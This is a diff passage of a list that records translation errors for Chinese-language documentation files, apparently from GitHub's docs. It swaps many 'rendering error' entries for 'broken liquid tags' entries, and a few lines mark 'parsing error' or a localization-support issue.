-translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error
-translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error
-translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md,rendering error
-translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md,rendering error
-translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error
-translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,rendering error
-translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,rendering error
-translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/index.md,rendering error
-translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md,rendering error
-translations/zh-CN/content/authentication/connecting-to-github-with-ssh/about-ssh.md,rendering error
-translations/zh-CN/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,rendering error
-translations/zh-CN/content/authentication/connecting-to-github-with-ssh/index.md,rendering error
-translations/zh-CN/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md,rendering error
-translations/zh-CN/content/authentication/index.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/index.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error
-translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error
-translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error
-translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md,rendering error
-translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error
-translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-tags.md,rendering error
-translations/zh-CN/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,rendering error
-translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/index.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-ssh/error-unknown-key-type.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-ssh/index.md,rendering error
-translations/zh-CN/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,rendering error
-translations/zh-CN/content/billing/index.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/index.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/index.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/index.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,rendering error
-translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md,rendering error
-translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/index.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md,rendering error
-translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md,rendering error
-translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md,rendering error
-translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md,rendering error
+translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,broken liquid tags
+translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags
+translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags
+translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags
+translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,broken liquid tags
+translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,broken liquid tags
+translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,broken liquid tags
+translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags
+translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,broken liquid tags
+translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,broken liquid tags
+translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags
+translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,broken liquid tags
+translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,broken liquid tags
+translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags
 translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,parsing error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error
 translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,Listed in localization-support#489
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md,rendering error
-translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,rendering error
-translations/zh-CN/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md,rendering error
-translations/zh-CN/content/code-security/getting-started/github-security-features.md,rendering error
-translations/zh-CN/content/code-security/getting-started/securing-your-organization.md,rendering error
-translations/zh-CN/content/code-security/getting-started/securing-your-repository.md,rendering error
-translations/zh-CN/content/code-security/guides.md,rendering error
-translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md,rendering error
-translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,rendering error
-translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error
-translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md,rendering error
-translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,rendering error
+translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/zh-CN/content/code-security/getting-started/securing-your-organization.md,broken liquid tags
+translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md,broken liquid tags
+translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags
+translations/zh-CN/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,broken liquid tags
+translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,broken liquid tags
 translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,Listed in localization-support#489
 translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,parsing error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error
+translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,broken liquid tags
 translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,Listed in localization-support#489
 translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error
-translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error
+translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,broken liquid tags
 translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489
-translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error
-translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,rendering error
-translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/index.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/index.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error
-translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error
-translations/zh-CN/content/codespaces/guides.md,rendering error
-translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error
-translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error
-translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/managing-your-codespaces/index.md,rendering error
-translations/zh-CN/content/codespaces/overview.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error
-translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error
-translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error
-translations/zh-CN/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md,rendering error
-translations/zh-CN/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md,rendering error
-translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,rendering error
-translations/zh-CN/content/communities/documenting-your-project-with-wikis/index.md,rendering error
-translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md,rendering error
-translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error
-translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md,rendering error
-translations/zh-CN/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md,rendering error
-translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md,rendering error
-translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/index.md,rendering error
-translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md,rendering error
-translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md,rendering error
-translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md,rendering error
-translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,rendering error
-translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/index.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md,rendering error
-translations/zh-CN/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md,rendering error
-translations/zh-CN/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,rendering error
-translations/zh-CN/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md,rendering error
-translations/zh-CN/content/developers/apps/building-oauth-apps/index.md,rendering error
-translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error
-translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error
-translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md,rendering error
-translations/zh-CN/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md,rendering error
-translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,rendering error
-translations/zh-CN/content/developers/apps/guides/using-content-attachments.md,rendering error
-translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md,rendering error
-translations/zh-CN/content/developers/apps/index.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/deleting-a-github-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/index.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/modifying-a-github-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/index.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md,rendering error
-translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/index.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md,rendering error
-translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md,rendering error
